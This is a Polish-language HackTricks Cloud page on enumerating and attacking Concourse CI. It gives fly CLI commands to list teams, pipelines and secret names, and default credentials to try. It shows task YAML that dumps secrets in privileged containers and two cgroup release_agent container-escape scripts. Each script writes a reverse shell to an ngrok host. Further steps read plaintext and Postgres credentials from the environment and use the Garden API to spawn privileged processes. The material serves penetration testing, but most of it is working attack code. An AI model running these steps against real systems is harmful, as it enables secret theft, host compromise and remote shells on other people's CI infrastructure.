Polish - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Concourse Enumeration & Attacks

Wyliczanie i Ataki na Concourse

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Role Użytkownika i Uprawnienia

Concourse posiada pięć ról:

  • Concourse Admin: Ta rola jest przyznawana tylko właścicielom głównego zespołu (domyślny początkowy zespół Concourse). Administratorzy mogą konfigurować inne zespoły (np.: fly set-team, fly destroy-team...). Uprawnienia tej roli nie mogą być zmienione przez RBAC.

  • właściciel: Właściciele zespołu mogą modyfikować wszystko w zespole.

  • członek: Członkowie zespołu mogą czytać i pisać w zasobach zespołu, ale nie mogą modyfikować ustawień zespołu.

  • operator-pipeline: Operatorzy potoku mogą wykonywać operacje potoku, takie jak uruchamianie budowy i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji potoku.

  • widz: Widzowie zespołu mają dostęp "tylko do odczytu" do zespołu i jego potoków.

Ponadto uprawnienia ról właściciela, członka, operatora potoku i widza mogą być zmienione poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Dowiedz się więcej na: https://concourse-ci.org/user-roles.html

Zauważ, że Concourse grupuje potoki wewnątrz Zespołów. Dlatego użytkownicy należący do Zespołu będą mogli zarządzać tymi potokami i może istnieć kilka Zespołów. Użytkownik może należeć do kilku Zespołów i mieć różne uprawnienia w każdym z nich.

Vars & Menedżer Poświadczeń

W konfiguracjach YAML można konfigurować wartości za pomocą składni ((_source-name_:_secret-path_._secret-field_)). Z dokumentacji: Nazwa-źródła jest opcjonalna, a jeśli jest pominięta, zostanie użyty menedżer poświadczeń na poziomie klastra, lub wartość może być podana statycznie. Opcjonalne _secret-field_ określa pole w pobranym tajnym kluczu do odczytu. Jeśli jest pominięte, menedżer poświadczeń może wybrać odczytanie 'domyślnego pola' z pobranego poświadczenia, jeśli pole istnieje. Ponadto secret-path i secret-field mogą być otoczone podwójnymi cudzysłowami "..." jeśli zawierają znaki specjalne jak . i :. Na przykład, ((source:"my.secret"."field:1")) ustawia secret-path na my.secret i secret-field na field:1.

Static Vars

Statyczne zmienne można określić w krokach zadań:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Zarządzanie poświadczeniami

Istnieją różne sposoby określenia Menedżera Poświadczeń w potoku, przeczytaj więcej na stronie https://concourse-ci.org/creds.html. Co więcej, Concourse obsługuje różne menedżery poświadczeń:

Zauważ, że jeśli masz jakikolwiek rodzaj dostępu do zapisu w Concourse, możesz tworzyć zadania do wycieku tych sekretów, ponieważ Concourse musi mieć do nich dostęp.

Wyliczanie Concourse

Aby wyliczyć środowisko Concourse, najpierw musisz zbierać ważne poświadczenia lub znaleźć uwierzytelniony token, prawdopodobnie w pliku konfiguracyjnym .flyrc.

Logowanie i wyliczanie bieżącego użytkownika

  • Aby zalogować się, musisz znać punkt końcowy, nazwę zespołu (domyślnie to main) i zespoł, do którego należy użytkownik:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Pobierz skonfigurowane cele:

  • fly targets

  • Sprawdź, czy skonfigurowane połączenie celu jest wciąż ważne:

  • fly -t <target> status

  • Pobierz rolę użytkownika w stosunku do wskazanego celu:

  • fly -t <target> userinfo

Zauważ, że token API jest zapisywany domyślnie w $HOME/.flyrc, podczas plądrowania maszyn możesz tam znaleźć poświadczenia.

Zespoły i Użytkownicy

  • Pobierz listę Zespołów

  • fly -t <target> teams

  • Pobierz role wewnątrz zespołu

  • fly -t <target> get-team -n <team-name>

  • Pobierz listę użytkowników

  • fly -t <target> active-users

Potoki

  • Wyświetl potoki:

  • fly -t <target> pipelines -a

  • Pobierz yaml potoku (w definicji mogą znajdować się informacje poufne):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Pobierz wszystkie zadeklarowane zmienne konfiguracyjne potoku

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Pobierz wszystkie nazwy sekretów używane w potokach (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wycieknąć):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Kontenery i Pracownicy

  • Lista pracowników:

  • fly -t <cel> workers

  • Lista kontenerów:

  • fly -t <cel> containers

  • Lista budów (aby zobaczyć co jest uruchomione):

  • fly -t <cel> builds

Ataki na Concourse

Brutalna siła poświadczeń

  • admin:admin

  • test:test

Wyliczanie sekretów i parametrów

W poprzedniej sekcji zobaczyliśmy, jak można uzyskać wszystkie nazwy sekretów i zmienne używane przez potok. Zmienne mogą zawierać poufne informacje i nazwa sekretów będzie przydatna później do próby ich kradzieży.

Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera

Jeśli masz wystarczające uprawnienia (rola członka lub wyższa), będziesz mógł wyświetlić potoki i role i po prostu uzyskać sesję wewnątrz kontenera <potok>/<zadanie> używając:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Dzięki tym uprawnieniom możesz:

  • Ukradnij sekrety znajdujące się w kontenerze

  • Spróbuj uciec do węzła

  • Wylicz/Wykorzystaj punkt końcowy metadanych chmury (z pojemnika i z węzła, jeśli to możliwe)

Tworzenie/Modyfikacja potoku

Jeśli masz wystarczające uprawnienia (rola członka lub wyższa), będziesz mógł tworzyć/modyfikować nowe potoki. Sprawdź ten przykład:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Przy modyfikacji/utworzeniu nowego potoku będziesz mógł:

  • Ukradnij sekrety (poprzez wyświetlenie ich lub uzyskanie dostępu do kontenera i uruchomienie env)

  • Ucieczka do węzła (nadając wystarczające uprawnienia - privileged: true)

  • Wyliczanie/Missbruk metadanych chmury (z pojemnika i z węzła)

  • Usuń utworzony potok

Wykonaj niestandardowe zadanie

To jest podobne do poprzedniej metody, ale zamiast modyfikować/tworzyć cały nowy potok, możesz po prostu wykonać niestandardowe zadanie (co prawdopodobnie będzie o wiele bardziej skryte):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Ucieczka do węzła z zadania uprzywilejowanego

W poprzednich sekcjach zobaczyliśmy, jak wykonać zadanie uprzywilejowane z concourse. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze dockerowym. Na przykład nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana".

W poniższym PoC użyjemy release_agent do ucieczki z pewnymi drobnymi modyfikacjami:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Jak mogłeś zauważyć, to po prostu zwykłe ucieczka z release_agent po prostu modyfikując ścieżkę cmd w węźle

Ucieczka do węzła z kontenera pracownika

Zwykła ucieczka z release_agent z niewielką modyfikacją jest wystarczająca:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Ucieczka do węzła z kontenera sieciowego

Nawet jeśli kontener sieciowy ma wyłączone niektóre zabezpieczenia, nie działa jako zwykły kontener uprzywilejowany (na przykład nie można zamontować i uprawnienia są bardzo ograniczone, więc wszystkie łatwe sposoby ucieczki z kontenera są bezużyteczne).

Jednak przechowuje lokalne dane uwierzytelniające w postaci zwykłego tekstu:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Możesz użyć tych poświadczeń do zalogowania się na serwerze sieciowym i utworzenia uprzywilejowanego kontenera oraz ucieczki do węzła.

W środowisku można również znaleźć informacje o dostępie do instancji postgresql, którą używa concourse (adres, nazwa użytkownika, hasło i baza danych między innymi informacje):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Nadużywanie usługi Garden - Nie jest to rzeczywisty atak

To tylko kilka interesujących uwag na temat usługi, ale ponieważ słucha ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego już wcześniej nie wykorzystaliśmy

Domyślnie każdy pracownik Concourse będzie uruchamiał usługę Garden na porcie 7777. Usługa ta jest używana przez Web mastera do wskazania pracownikowi co ma wykonać (pobranie obrazu i uruchomienie każdego zadania). Brzmi to całkiem dobrze dla atakującego, ale istnieją pewne fajne zabezpieczenia:

  • Jest eksponowana tylko lokalnie (127.0.0.1) i wydaje mi się, że gdy pracownik uwierzytelnia się ponownie w sieci Web za pomocą specjalnej usługi SSH, tworzony jest tunel, dzięki czemu serwer sieciowy może komunikować się z każdą usługą Garden wewnątrz każdego pracownika.

  • Serwer sieciowy monitoruje uruchomione kontenery co kilka sekund, a niespodziewane kontenery są usuwane. Dlatego jeśli chcesz uruchomić niestandardowy kontener, musisz mieszać w komunikacji między serwerem sieciowym a usługą garden.

Pracownicy Concourse działają z wysokimi uprawnieniami kontenera:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Jednak techniki takie jak montowanie urządzenia /dev węzła lub release_agent nie zadziałają (ponieważ rzeczywiste urządzenie z systemem plików węzła nie jest dostępne, tylko wirtualne). Nie możemy uzyskać dostępu do procesów węzła, więc ucieczka z węzła bez wykorzystania luk w jądrze staje się skomplikowana.

W poprzednim rozdziale zobaczyliśmy, jak uciec z uprzywilejowanego kontenera, więc jeśli możemy wykonać polecenia w uprzywilejowanym kontenerze utworzonym przez bieżącego pracownika, moglibyśmy uciec do węzła.

Zauważ, że bawiąc się z Concourse zauważyłem, że gdy nowy kontener jest uruchamiany do wykonania czegoś, procesy kontenera są dostępne z kontenera pracownika, więc to jakby kontener tworzył nowy kontener wewnątrz siebie.

Wejście do działającego uprzywilejowanego kontenera

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Tworzenie nowego kontenera uprzywilejowanego

Możesz bardzo łatwo utworzyć nowy kontener (uruchom losowy UID) i wykonać na nim jakieś polecenie:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Jednak serwer sieciowy co kilka sekund sprawdza kontenery, które są uruchomione, i jeśli zostanie odkryty niespodziewany, zostanie usunięty. Ponieważ komunikacja odbywa się za pomocą protokołu HTTP, można przerobić komunikację, aby uniknąć usunięcia niespodziewanych kontenerów:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Odnośniki

  • https://concourse-ci.org/vars.html

Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousConcourse Lab CreationNextCircleCI Security

Last updated